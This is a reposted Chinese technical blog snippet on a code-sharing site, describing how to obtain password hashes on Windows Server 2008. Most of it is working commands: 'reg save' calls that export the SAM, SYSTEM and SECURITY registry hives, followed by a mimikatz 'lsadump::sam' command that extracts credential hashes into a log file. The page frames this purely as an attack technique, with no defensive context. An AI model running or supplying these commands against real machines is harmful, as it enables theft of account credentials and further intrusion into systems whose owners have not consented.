ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Windows 获取Hash手法

2021-09-15 02:05:26  阅读:16  来源: 互联网

标签:Hash HKLM sam Windows system hive 手法 save reg


Windows server 2008:

  1、当sam文件被占用时,利用reg(注册表)导出文件三个文件(需要administrator权限)

  reg save HKLM\sam C:\sam.hive

  reg save HKLM\system C:\system.hive

  reg save HKLM\security C:\security.hive

  再把三个文件放到mimikatz同目录下执行命令,在当前目录下会生成一个log.txt

  mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" "exit" > log.txt

 

标签:Hash,HKLM,sam,Windows,system,hive,手法,save,reg
来源: https://www.cnblogs.com/PatrickStar88888888/p/15270448.html

专注分享技术,共同学习,共同进步。侵权联系[admin#icode9.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有